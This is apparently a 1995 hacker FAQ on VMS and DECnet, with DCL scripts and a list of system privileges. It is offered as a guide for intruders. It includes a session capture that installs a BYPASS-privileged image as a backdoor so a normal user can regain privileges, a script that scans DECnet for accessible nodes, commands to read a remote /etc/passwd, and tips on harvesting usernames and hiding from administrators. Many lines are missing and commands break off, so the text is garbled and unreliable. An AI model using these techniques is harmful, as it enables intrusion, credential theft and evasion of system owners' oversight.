$ remote_user := 'remote_user                   ! remove blanks and lowercases
$ local_user_in = "''P3'"
$ if P3 .eqs. "" then read sys$command local_user_in /prompt="text : "
$ local_user = "msg:: " + local_user_in + -
   "                                                                      " -
   + null_byte
$ open/read/write link 'remote_node'::"29="
$ write link id_rmt_user,local_user,remote_user
$ read link ans
$ if f$cvui(0,8,ans) .ne. status_success then goto error
$       if debug then write sys$output "Link to phone setup"
$ if local_user_in .eqs. "" then goto exit
$ write link ring_rmt_user,local_user,true_byte
$ read link ans
$ if f$cvui(0,8,ans) .ne. status_success then goto error
$       if debug then write sys$output "1 ringy-dingy"
$       count = 1
$ on control_y then goto exit
$  goto exit
$ write link ring_rmt_user,local_user,false_byte
$ read link ans
$ if f$cvui(0,8,ans) .ne. status_success then goto error
$       if count .ge. 3 then goto exit
$       count = count +1
$       if debug then write sys$output count," ringy-dingies"
$ goto loop
$ write link slave_exit,local_user
$ close link
$       if debug then write sys$output "Link cleared"
$ exit
$! under development
$ write sys$output "An error has occured."
$ close link
$ exit
	a system.
	From DEC's own archives, example follows:
$ vfy = f$verify(f$integer(f$logical("debug")) .or. f$integer('debug'+0))
$ if f$cvui(1,1,'debug'+0) .or. f$cvui(1,1,f$logical("debug")+0) -
    then write sys$error "File: PHONEDIR.COM, 29-Feb-1984"
$!  PHONEDIR.COM, E2.0 28-Oct-1985
$!  COPYRIGHT (c) 1984 By
$!  DIGITAL EQUIPMENT CORPORATION, Maynard, Massachusetts 01754.
$!  All Rights Reserved.
$!  This software is furnished without license and may be used and  copied
$!  only with the inclusion of the above copyright notice. No title to and
$!  ownership of the software is hereby transferred.
$!  The information in this software is subject to change  without  notice
$!  and  should  not  be  construed as  a commitment by Digital  Equipment
$!  Corporation.
$!  Digital  assumes  no responsibility for the use or reliability of this
$!  software.
$!  Author: SWM,  29-Feb-84,  PARROT::SWM
$!  Edited:
$!    23-Nov-84 SWM, User lookup, V3 compatablility, Psthru capability.
$!    24-Nov-84 DC, Added logical name translation.
$!    30-Nov-84 DC, '_' overrides logical, infn loop check.
$!    27-Oct-85 SWM, Protocol fix, pipelining, clean up code.
$!  Abstract:
$!    Take a directory of users across network via phone protocol.
$!  Inputs: P1 = Node:: (or Node::Node::...) to get user list from;
$!    or Node::User to check on.  Remote user can be specified as
$!    separate parameter P2.  Double colon optional if single node.
$ on control_y then goto close
$ set noon
$ v4 = "true"
$ if f$extr(0,2,f$getsyi("version")) .eqs. "V3" then v4 = "false"
$!$ error_status = %x1001C002
$ null[0,8] = 0
$!$ if v4 then old_msg = f$envi("message")
$!$ set message /nofacility/noseverity/noidentification/notext
$ if p1 .eqs. "" then read/end=exit/error=exit sys$command p1 /prompt="Node? "
$ if p1 .eqs. "" then goto exit
$! allow override of node::user logical names
$ sanity_check = 0
$ underscore_found = f$locate("_",p1) .eq. 0
$ if underscore_found then goto got_node_name
$ if f$logi(p1) .eqs. "" then goto got_node_name
$ p1 = f$logi(p1)
$ sanity_check = sanity_check + 1
$ if sanity_check .le. 64 then goto log_name_loop
$ goto error
$! add username to node string if specified as separate parameter
$ if p2 .nes. "" then -
   if f$extr(f$leng(p1)-2,2,p1) .eqs. "::" then p1 = f$extr(0,f$leng(p1)-2,p1)
$ if p2 .nes. "" then p1 = p1 + "::" + p2
$! check if single node specified without dbbl colon.
$ if p2 .eqs. "" then -
    if f$parse(p1,,,"node") .eqs. "" then p1 = p1 + "::"
$!-    if f$extr(f$leng(p1)-2,2,p1) .nes. "::" then p1 = p1 + "::"
$ if v4 then p1 = f$edit(p1,"trim,upcase,uncomment")
$ if .not. v4 then p1 := 'p1'
$ remote_user_name = f$parse(p1,,,"name")
$ node = f$extr(0,f$leng(p1)-f$leng(remote_user_name),p1)
$ if node .eqs. "" then node = f$logi("sys$node")
$! commented out doesn't work if access ctrl (f$parse hides password).
$!$ remote_user = node - f$parse(f$extr(0,f$leng(node)-2,node),,,"node") -
$!-    + remote_user_name       ! remove any psthru node names...
$ sanity_check = 0
$ temp = node
$ node_string = ""
$! loop to find name of destination node for use in phone protocol...
$ loc = f$loca("::",temp)
$ node_string = node_string + f$parse(f$extr(0,loc+2,temp),,,"node")
$! commented out for alternate node_string display if using access ctrl.
$!$ node_string = node_string + f$extr(0,loc,temp)
$!$ node_string = f$extr(0,f$loca("""",node_string),node_string) + "::"
$ remote_user = f$extr(0,loc,temp)                      ! last node
$ remote_user = f$extr(0,f$loca("""",remote_user),remote_user) ! minus a/c.
$ temp = f$extr(loc+2,999,temp)
$ sanity_check = sanity_check + 1
$ if f$loca("::",temp) .ne. f$leng(temp) .and. sanity_check .lt. 32 -
    then goto dest_node_loop
$ remote_user = remote_user + "::" + remote_user_name
$ if v4 then local_user = f$logi("sys$node") + -
$ if .not. v4 then local_user := 'f$logi("sys$node")''f$getjpi("","pid")'
$ local_user = local_user - "_" + null                  ! asciz string
$! noon is set so display error message
$ open/read/write slave 'node'"29="
$ save_status = $status
$!$ if save_status .eq. error_status then goto unreachable
$ if .not. save_status then goto exit
$ if remote_user_name .eqs. "" then goto dir_function
$ message[0,8] = 7                                      ! ID remote user
$ message = message + local_user + remote_user
$ write/error=error slave message
$ read/end=error/error=error slave record
$ if f$cvui(0,8,record) .eq. 1 then -
    write sys$output "''remote_user' is currently available."
$! Note: These response values, while defined in the phone protocol do
$!   not seem to be supported in response to the ID function for VAXPhone.
$ if f$cvui(0,8,record) .eq. 6 then -
    write sys$output "''remote_user' is not available."
$ if f$cvui(0,8,record) .eq. 7 then -
    write sys$output "''remote_user''s phone is not usable by phone."
$ if f$cvui(0,8,record) .eq. 9 then -
    write sys$output "''remote_user''s phone is off hook (/NOBROADCAST)."
$ if (f$cvui(0,8,record) .ne. 1) .and. (f$cvui(0,8,record) .ne. 6) .and. -
    (f$cvui(0,8,record) .ne. 7) .and. (f$cvui(0,8,record) .ne. 9) then -
   write sys$output "''f$fao("Bad status received = !2ZB.",f$cvui(0,8,record))
$ exit_command[0,8] = 13
$ write/error=error slave exit_command,local_user
$ goto close
$ message[0,8] = 15                                     ! Request directory
$ message = message + local_user
$ write/error=error slave message
$ write/error=error slave message                       ! Pipeline requests!!!
$ write/error=error slave message
$ write/error=error slave message
$! Pipelining limited to 2 extra requests max to keep procedure from hanging.
$!   Worst case limit is (DECnet_Pipeline_Quota/DECnet_Buffer_Size) * 2 + 1
$ count = 0
$ write sys$output ""
$ write sys$output "	Directory of Users on Node ",node_string
$ write sys$output ""
$! skip pipeline hack code as RMS timeouts don't with DECnet yet.
$!$ if .not. v4 then write/error=error slave message
$ if .not. v4 then goto loop
$! Put up to 8 requests in logical link pipe...
$ sanity_check = 3                                      ! number msgs in pipe.
$ sanity_check = sanity_check + 1
$ if sanity_check .ge. 8 then goto loop
$ write/error=error slave message
$ read/end=eof/error=pipeline_hack/timeout=0 slave record
$ goto loop_alt_entry
$ read/end=eof/error=error slave record
$ if record .eqs. "" then goto done
$ write/error=error slave message
$ write sys$output record
$ count = count + 1
$ goto loop
$! rsx-11 phone slave closes link after directory function.
$ rsx = "  (System is RSX)"
$ write sys$output ""
$ write sys$output "Total number of users = ''f$string(count)'''rsx'"
$! don't tell slave to exit if link already closed.
$ if "''rsx'" .nes. "" then goto close
$ exit_command[0,8] = 13
$ exit_command = exit_command + local_user
$ write slave exit_command
$ GOTO CLOSE                                            ! Hack!!!
$! Note: Should finish up properly by reading all responses.
$ read/end=close/error=error slave dummy
$!$ write sys$output dummy                              ! show empty data
$ goto eof_loop
$unreachable:                                           ! this removed...
$! this section left in for possible enhanced error checking...
$!$ write sys$output ""
$!$ write sys$output "Node unreachable, unknown, or object unknown."
$ goto exit
$ write sys$error "PHONEDIR-E-BugCheck, An error has occured."
$! close the link no matter what.
$ close /error=exit slave
$!$ set message 'old_msg'
$ if vfy then set verify                                ! 'f$verify(0)'
$ exit
	BTW: There is a modified phone program available via
	     anonymous ftp which gives increased functionality
	     with commands such as 'reject' and 'transcribe'
	      -      User/Image Privilege Information     -
	User privileges are handled in a completely different manner
	than Unix handles them.  With Unix,  you have either 
	a> all priveleges (IE - "root") 
	b> standard user 
	VMS is a touch different.
	For example,  let's say you have a field engineer that needs
	a standard user account (I.E. - be able to send/receive mail, 
	do standard DCL commands.. Normal TMPMBX, NETMBX,  and
	all that),  but in order to do his job,  he needs to run the
	online VMS diagnostics software (which is a privileged operation)
	When you add the user,  you can grant him "DIAGNOSE" privledges,
	and normal user privileges,  and he will be able do regular users
	commands and run diagnostics. 
	What this means is that you can grant certain privileged 
	function to certain users,  rather than giving the user 
	"the whole system".  
	This user we added would only have access to privileges that deal
	with the diagnostic software.  For example,  he could not add
	users (via "AUTHORIZE" or modify the SYSUAF.DAT).  
"Privileges restrict the user of certain system functions to processes
created on the behalf of authorized users.  These restrictions protect 
the integrity of the operating system code,  data,  and resources and
thus,  the integrity of user services." 
"Users cannot execute an image that requires a privilege they do not 
	Privileges can also be installed on images,  so that when that 
	image is executed,  that images process get the permissions 
	that it has been granted (this does not mean that the user gets
	the privileges,  but rather,  just the process running this
			- OpenVMS VAX Guide To System Security
			  (6.0 manual). 
	Below is a listing of privileges,  and a brief description.
ACNT      -     Lets a process use the RUN (Process) command to create
		Process ($CREPRC) system service to create processes
		in which accounting is disabled.  A process in which
		account is disabled is on whose resources are not logged. 
ALLSPOOL  -     This privlege lets user's process allocate a spooled
		device by executing the Allocate Device ($ALLOC) system
		service or by users the DCL command "ALLOCATE"
ALTPRI    -     Allows the user's process to 
		1.  Increase its own priority
		2.  Set the base priority of a target process
		3.  Change priority of its batch or print jobs. 
AUDIT     -     Allows software to append to audit records to the system
		security audit log file.   As a result,  this privilege
		permits the logging of events that appear to come from the
		operating system
BUGCHK    -     Allows the process to make bugcheck error log entries
		from users,  supervisor, or compatibility mode or to send
		messages to the system error logger. 
BYPASS    -     Allows the user's process full access to all protected
		objects,  totally bypassing UIC-based protection, 
		ACL protection (Access Control List) and mandatory 
		access controls.   Users with this privilege can 
		modify authorization records (SYSUAF.DAT,  where
		usernames/passwords are stored),  rights identifiers
		(RIGHTSLIST.DAT), DECNet object passwords and accounts
		(NETOBJECT.DAT),  and unlimited file access.
CMEXEC    -     Allows the user's process to execute the Change Mode to
		Executive system service.
CMKRNL    -     Allows the user's process to execute the Change Mode to
		Kernel system services.   These privileges allow 
		things like modify a multiprocessor operation (START/
		CPU,  STOP/CPU type commands),  modifying the system
		rights list (SET RIGHTS/ATTRIBUTE), change a processes
		UIC (SET UIC),  and other functions.
DETACH    -     Processes can create detached processes that have there
		own UIC without the DETACH privilege,  provided the 
		processes wants to specify a different UIC for the 
DIAGNOSE  -     Lets a process run online diagnostic programs and intercept
		and copy all messages written to the error log file. 
DOWNGRADE -     Permits a process to manipulate mandatory access controls.
EXQUOTA   -     Allows the space taken by the user's files on a given
		disk volumes to exceed any usage quotas set for the user 
		(as determined by UIC) on those volumes. 
GROUP     -     Allows the user's process to affect other processes in its
		own group.
GRPNAME   -     Lets the user's process bypass  access controls
		and insert names into (and delete from) the logical table
		of the group to which the process belongs by the use of the
		Create Logical Bane and Delete Logical Name system services.
GRPPRV    -     When the process's group matches the group of the object
		owner,  the GRPPRV privilege gives a process the access rights
		provided by the object's system protection field.  GRPPRV
		also lets a process change the protection or the 
		ownership of any object whose owner group matches the
		process's group by using the DCL commands SET SECURITY
		privilege lets a process mount unlabeled tape volumes.  
		This privilege is reserved for enhanced security products
		like SEVMS. 
LOG_IO    -     Lets the user's process execute the Queue I/O request
		($QIO) system service to perform logical-level I/O
MOUNT     -     Lets the user's process execute the mount volume QIO
NETMBX    -     lets a process perform functions related to a DECNet
		Computer Network. 
OPER      -     Allows a process to use the Operator Communications 
		Manager (OPCOM) process to reply to user's request, 
		to broadcast messages to all terminals logged in,  to 
		designate terminals as operator terminals and specify
		the types of messages to be displayed to these operator's
		terminals,  and to initialize and control the log file
		of operator's messages. 
		(PFN) global sections to specific pages of physical 
		memory or I/O device registers,  no matter who is using
		the pages or registers. 
		($QUI) system service to perform physical-level I/O
		common even flag cluster by executing the Associate 
		Common Event Flag Cluster. 
		global section by executing the Create and Map Section
		or Delete Global Section system service.  In addition
		,  a process with this privilege (plus CMKRNL and SYSGLB
		privileges) can use the Install utility (INSTALL)
		by the Create Mailbox and Assign Channel system service
		or the DElete Mailbox system service.   Mailboxes are
		buffers in virtual memory that are treated as if they were
		record oriented I/O devices.  A mailbox is used for
		general interprocess communications. 
		swapped out of the balance set by executing the 
		Set Process Swap Mode system service. 
READALL   -     Lets the process bypass existing restrictions that would
		otherwise prevent the process from reading an object. 
		Unlike the BYPASS privilege which will permits writing and
		deleting,  READALL permits only the reading of objects
		and allow updating of such backup-related file
		characteristics as the backup date. 
SECURITY  -     Lets a process perform security related functions such
		as modifying the system password with the DCL command
		SET PASSWORD /SYSTEM or modifying the system alarm 
		and auditing settings using the DCL command 
SETPRV    -     Lets user's create process whose privileges are greater
		than its own.   With this privilege,  a user can obtain
		any other privilege via the DCL command "SET PROCESS/
SHARE     -     Lets process assign channels to devices allocated to other
		processes or to a nonshared device the Assign I/O Channel
		system service. 
SHMEM     -     Lets the user's process create global sections and 
		mailboxes (permanent or temporary_ in memory shared by
		multiple processors if the process also has appropriate
		PRMGBL,  PRMMBX,  SYSGBL,  and TMPMBX privileges. 
SYSGBL    -     Lets user;s create or delete system global sections by
		executing the Create and Map Sections or the Delete
		Global Section system services.  With this privilege
		and CMKRNL and PRMGBL,  the Install command (INSTALL)
		can be used. 
SYSNAM    -     Let's user's process bypass discrepancy access
		controls and insert names into the system logical
		name table and delete names from that table.  A
		process with this privilege can use the DCL commands
		ASSIGN and DEFINE to add names to the system logical
		in the user or executive mode and can use the DEASSIGN
		command in either mode to delete names from the 
SYSPRV    -     Lets a process access security objects by the system
		protection field and also read and modify the owner
		(UIC),  the UIC-based protection code,  and the ACL 
		of and object.   Any processes with this privilege
		can add,  modify,  or delete entries in the system
		user authorization file (SYSUAF.DAT)
TMPMBX    -     Lets user's create process create a temporary mailbox
		by executing the Create Mailbox and Assign Channel. 
UPGRADE   -     Lets a process manipulate access controls.  This privilege
		is reserved for enhanced security products like SEVMS.
VOLPRO    -     Lets user's processes:
			o Initialize a previously used volume with an owner
			  UIC different from the user's own UIC.
			o Override the expiration date on a tape or
			  disk owned by another user. 
			o Use the ////FOREIGN qualifier to mount a Files-11
			  volume owned by another user.
			o Override the owner UIC protection of volume. 
WORLD     -     Lets user's process affect (suspend, resume, delete, 
		set priority, wake,  etc) other processes both inside
		and outside its group.
				- Taken Mostly From the, "OpenVMS VAX
				  System Security" (V6.0) 
	Simple...  You can't.   Privileges are handled in a much different
	method than on Unix (see "How are user privileges setup").  You
	can make a program (image) that when executed,  the process
	of that image gains the privileges that it was "installed"
	with.    For example,  if you write a program that needs read access
	to the SYSUAF.DAT you *could* make SYSUAF.DAT world readable 
	(if you are on a privileged account,  of course)  but this 
	would be very,  very unwise.    Another method would be to 
	"INSTALL" the executable image and give it READALL privileges, 
	so that when a user's processes calls your programs,  that programs
	process (the image running) gets READALL privileges.   Then that
	process would be able to read the SYSUAF.DAT,   but the user's
	process would not.  
	With this in mind,   it is possible to create a senerio similar
	to that of a "SUID Shell" (but without the shell).  The idea
	is to give the privileges (that you want to keep ahold of) 
	on a program that does nothing more than make a call to 
	LIB$SPAWN.   The idea is to write a program that will do nothing
	more than create another process (that drops you to DCL)
	via LIB$SPAWN,  and using the VMS "INSTALL" utility,  give it
	the privileges that you wish that process to have.  There are
	several downfalls to this.  To accomplish this,  you would
	need CMKRNL privileges yourself (your process).  So your process
	would already need certain privileges to pull this off. The idea 
	here is in the event that the user has obtained a "privileged
	account",  and wishes to remain privileged,  he/she could 
	install a image which could be called by a normal (non-privileged)
	user in which he/she could obtain the system privileges again. 
	Below is a sample session capture of me installing a privileged
	image.   The privilege I gave this image is "BYPASS" (Bypass
	all security features,  and the ability to modify SYSUAF.DAT
Connected to UpperDck
Escape character is '^]'.
		       Upper-Dck VMS Development System 
Username: SYSTEM   ! Login to our privileged account
	Welcome to VAX/VMS version V5.2 on node UPPERDCK
    Last interactive login on Friday,  6-JAN-1995 07:17
    Last non-interactive login on Thursday, 22-DEC-1994 15:51
 User= SYSTEM       Directory= [SYSMGR]       UIC=  [1,4]
	Terminal= NTY5:       6-JAN-1995 07:19:01.00
   declare long xspawn              ! program is to give us another "spawned"
   xspawn=lib$spawn()               ! process. 
exit                    ! and exit the VMS BASIC. 
Total of 1 file.
MYTRAP.BAS;1        MYTRAP.OBJ;1        
Total of 2 files.
MYTRAP.BAS;1        MYTRAP.EXE;1        MYTRAP.OBJ;1        
Total of 3 files.
   MYTRAP;2                       Prv 
	Entry access count         = 0
	Privileges = BYPASS 
MYTRAP.EXE;2        MYTRAP.EXE;1        
Total of 2 files.
MYTRAP.EXE;2                  File ID:  (43314,33,0)       
Size:            4/6          Owner:    [1,4]
Created:   6-JAN-1995 07:20:26.35
Revised:   6-JAN-1995 07:20:41.54 (2)
File organization:  Sequential
File attributes:    Allocation: 6, Extend: 0, Global buffer count: 0
		    No version limit, Contiguous best try
Record format:      Fixed length 512 byte records
Record attributes:  None
RMS attributes:     None
Journaling enabled: None
File protection:    System:RWED, Owner:RWED, Group:RE, World:
Access Cntrl List:  None
  SYSTEM       logged out at  6-JAN-1995 07:42:02.55
Connection closed by foreign host.
	[Now,  we make a new connection to the system to test our ]
	[ "MYTRAP.EXE" with the image priv's attached to it       ]
Connected to UpperDck.
Escape character is '^]'.
		       Upper-Dck VMS Development System 
Username: JOEBOB        ! Now, log as a normal user. 
	Welcome to VAX/VMS version V5.2 on node UPPERDCK
    Last interactive login on Friday,  6-JAN-1995 07:14
 User= JOEBOB        Directory= [UPPERDCK]       UIC=  [130,163]
	Terminal= NTY6:       6-JAN-1995 07:42:12.00
UPDCK> show process/priv ! To prove that we have normal user priv's
 6-JAN-1995 07:42:27.01   User: JOEBOB           Process ID:   0000010F
			  Node: UPPERDCK         Process name: "JOEBOB"
 TMPMBX               may create temporary mailbox
 NETMBX               may create network device
UPDCK> set proc/priv=bypass ! To prove I can't enabled "BYPASS" priv's
%SYSTEM-W-NOTALLPRIV, not all requested privileges authorized
UPDCK> mcr mytrap           ! Run our little "privledge provider"
UPDCK> show process/priv    ! To show our priv's after we exec. MYTRAP.EXE
			    ! note that we are spawned (see PID and Proc. Name)
 6-JAN-1995 07:42:46.05   User: JOEBOB           Process ID:   00000110
			  Node: UPPERDCK         Process name: "JOJBOB_1"
 TMPMBX               may create temporary mailbox
 NETMBX               may create network device
UPDCK> set process/priv=bypass ! Note,  no error when we do this now. 
UPDCK> show process/priv       ! To prove that we have gained BYPASS
 6-JAN-1995 07:42:53.37   User: JOEBOB           Process ID:   00000110
			  Node: UPPERDCK         Process name: "JOEBOB_1"
 TMPMBX               may create temporary mailbox
 NETMBX               may create network device
 BYPASS               bypasses UIC checking 
UPDCK> logout ! I can pretty much do anything now.... Lets stop this subprocess
  Process JOEBOB_1 logged out at  6-JAN-1995 07:42:59.01
UPDCK> logout ! logout completely
  JOEBOB       logged out at  6-JAN-1995 07:43:05.11
Connection closed by foreign host.
	     -     Using DEC's Network to your advantage     -
"DECNet is a collective name for the family of communications products
(software and hardware) that allow DIGITAL operating systems to participate
n a network.
"A DECNet network links computers into flexible configurations to exchange
nformation,  share resources,  and perform distributed processing.  DECNet
anywhere in the network."
		- VMS Version 5.0 DECnet "Guide to DECNet - VAX Networking"
	DECNet can support a minimum of 2 nodes and up to 64,000 nodes, 
	and can support multiple OS's along with various LAN/WAN
	(Using PSI,  and DECNet system can be supported on packet 
	switching enviroments (like Tymnet and Sprintnet)) and  
	operating environments. (VMS,   Ultrix,  RSX, and with the correct
	hardware,  IBM PC's,  VAXmate's, etc).  
	DECNet allows easy access to information from system to system,
	assuming you have the NETMBX privilege.
	To get a list of DECNet objects, "$MCR NCP SHOW KNOWN OBJECTS".
	You can use DECNet to grab information/files/programs and use
	them to your own advantage (granted that security has not 
	been completely implemented... which is usually the case
	on a vanilla/default install)
	For instance,  if a intruder where to break into a system
	which supported a DECNet,  he/she might be able to access files on
	a remote system/nodes of that DECNet.  As stated,   DECNets
	can range from local machines in that area (LAN) or 
	DECNet's can stretch across the world.  
	All from DCL,  accessing the default, unprived DECNet or possibly
	prived proxy account on the remote node, using commands like
	"DIRECTORY",  "COPY", "TYPE",  etc.   Usually by adding in the node
	name at the being of the command.  For example
$ DIR NODE::            ! Example format.
				 ! Directory on the remote node. 
$ COPY NODE::DISK1:[BOB]SECRET.TXT []  ! The "[]" means "wherever i am"
	Remember DECNet object logs are being kept!
	One of two ways.  Either way requires NETMBX privilege. Try to
	"SET HOST [NODENAME]".  If that fails, 
	try to use NCP (Network Control Program),  like this.....
	that are on the DECNet"
	Once again, this information can be found using the NCP (
	or via a "SHOW NETWORK") command. "SHOW NETWORK" won't work  
	if you are on a non-routing node. You might not get a 
	*complete* listing,  because the host you are on might not 
	know all DECNet nodes,  but it will at least get you hoping 
	around on the DECNet.  This list can be obtain via executing.....
	This will dump a list.  You can sort though the information 
	using the NCP connect command,  and see what all sorts 
	of things you run into (Xyplex/DECServers,  Other VMS Machines, 
	SNA Gateway controls,  etc, etc).  If you are only interested
	in machine that you can get file information on,  you can 
	us the following command file to find nodes that you can
$! DECNETFIND  Version 1.0
$! Coded By The Beaver
$! Jan 5th,  1995
$! The intent of this code is to scan for remote,  connectable nodes that
$! the VMS host knows about (Via NCP) and build a list.  Once this list
$! has been created,  we check to see if the remote machine is indeed
$! A> VMS (Later rev. will include Ultrix/OSF(?)) 2> Can it be directly
$! accessed via the DECNet 3> Can we read file systems on the remote node. 
$! Node that are "successful" are stored away.  This prevents mucho 
$! time consuming scanning by hand.  
$ on error then goto err                        ! In case of Boo-Boo
$ say :== write sys$output
$ if p1 .eqs. ""                                ! Yes, output file helps 
$       then
$       say "DECNet VMS Node Finder Version 1.0                   1995"
$       say "Coded By The Beaver"
$       say ""
$       say "Usage:"
$       say "DECNETFIND [Outfile]"
$       exit
$       endif
$ say "Building Node List Via NCP....(Working)"
$ mcr ncp show known nodes to nodes.out  ! Fire up NCP and dump nodeslist
$ open/read in nodes.out                 ! Open to read
$ open/write nodelist 'p1'               ! "Success" Storage area. 
$ on severe_error then loop1             ! So things dont die on "dir ::"'s
$ loop1:
$ read/end = end in line
$       name=f$element(0,")", f$element(1, "(", line)) ! grab a nodename
$       if name .gts. "(" 
$         then  
$         say "**************************************************************"
$         say "Nodename: "+name
$         say ""
$         dir 'name'::          ! See if we can get to it via a DECNet DIR::
$         if $severity .nes "1"
$               then
$               say "Status:  Node Unreachable Via DECNet Dir::"
$               else
$               say "Status:  Found Good Node. [Logged]"
$               write nodelist name             ! Log it.
$               endif
$ endif
$ goto loop1
$ err:
$ say "Ouch.  There has been a error!"
$ end:
$ close in
$ close nodelist                ! Close up and leave,  exit stage
$ delete nodes.out;*            ! right
$ say "Complete!"
$ exit
	"That works great,  but I ran into a Unix (Ultrix) machine,  and 
	when I do a 'DIR NODENAME::' it only gives me some jerk-off's 
	directory.   Is there anyway I can grab files off the remote machine 
	(Ultrix) and directory listings?"
	Once again,  no problem.   Format the command like this:
$ DIR NODE::"/etc"      ! will give remote nodes /etc directory
	Or to grab the /etc/passwd file on the remote node,  try....
$ TYPE NODE::"/etc/passwd"   ! And open a capture buffer. 
	"Can I grab a VMS rights list?"
	Sure,  by disabling the DECNet account and by watching any
	proxy accounts that may be set up (probably not a good idea to
	have a proxy into a privileged account). Unless a proxy account is
	set up (SYS$SYSTEM:NETPROXY.DAT), users must supply a password when
	attempting to do network operations like above.  Proxy logins are
	formatted below:
	(This example is using the DCL COPY command)
	COPY remotenode"proxyaccount"::filename filename
	for example, 
	(BOB - The Proxy login name)
	However,  in a vannila VMS (IE - Default installation), 
	proxy logins are not enabled. 
	attempt proxy accounts to break into remote machines?"
	You bet that proxy logins are logged.   Repeating invalid 
	attempts will inform the administrations that a "NETWORK
	BREAK IN" is in effect (via the OPCOM process). 
	You can access a machine you normally couldn't by piggybacking
	over a machine(that can get to the machine you can't) you can get to
	through the DECNet account. This is called "Poor Man's Routing". It
	is preventable by the sys admin on the piggyback machine.
		-       TCP/IP Networked Machines        - 
     the internet).   I have tried to finger the remote system in
     order to start collecting usernames,   I get a 'connection
     refused'.... Now what?"
	Connect to the SYSTAT port (Port 11).  This will give jobs
	currently running on the system.  More than likely,  this
	port has been left open.  With this in mind,  you can 
	sort though all the jobs and grab usernames,  while excluding
	system jobs (I.E - SWAPPER,  ERRFMT,  AUDIT_SERVER, 
	XYP_SERVER,   OPCOM,  INET_SERVERS, etc....etc).  
	Also,  I find one great trick is to look for "Student" type
	accounts.  That is,  accounts that appear to be repetitive. 
	You can then predict possible usernames. 
	The above can be accomplisted by using the below command
	(In most cases):
	Try other ports as well.  Netstat is port 15.
	command,   so that is appears that I am doing one thing when 
	I am really doing another (Or copying and renaming the command). 
	Is there anyway I can make it appear that I am doing something 
	that I am not?". 
	When the command "FINGER" is issued,  a user/administrator
	can see what image is currently being executed by a particular
	user.   For example sake,  lets say you want to play with 
	NCP but you know that if the administrators see you in NCP, 
	they will get rather irate,  and kick you off the system. 
	You can make it appear that you are doing something else 
	a>  Copying the image,  renaming it,  and running it. [which
	    may or may not work]. 
	Multinet(and probably other TCP/IP implementations on VMS) provides
	the sniffer program TCPDUMP, but of course you must be privileged
	to use it.
Final Notes: 
	This FAQ is far from complete,  and will remain in its "beta"
	stages for sometime.  
	I got alot of mail from alot of people. 
	Thanks to Shadow Hacker,   Risc,   Trouser,  Spoon,  and 
	all the boys at The Upper-Deck. 
	Bitwarrier for interesting conversation (besides terminal
	spoofing),  the ton of people that mailed me.  Thanks.
	- Things that need to be added/updates:
	  Identifying VMS machines.....
	  Information on the OPCOM process....
	- What we are looking for:
	  Ways of intercepting VMS communications(through mailboxes, etc.)
	  Passing commands via VMS mail.
	  Disk scavenging programs(along the lines of an "UNDELETE")
	  Xterm,Motif security
	  Various methods of machine spoofing(via TCP/IP,LAT,etc.)
	  File hacks with 'dump', 'patch', VFE, etc.
	  Anything else we might have missed.
	"It ain't done,  but hey... It a fucking start......"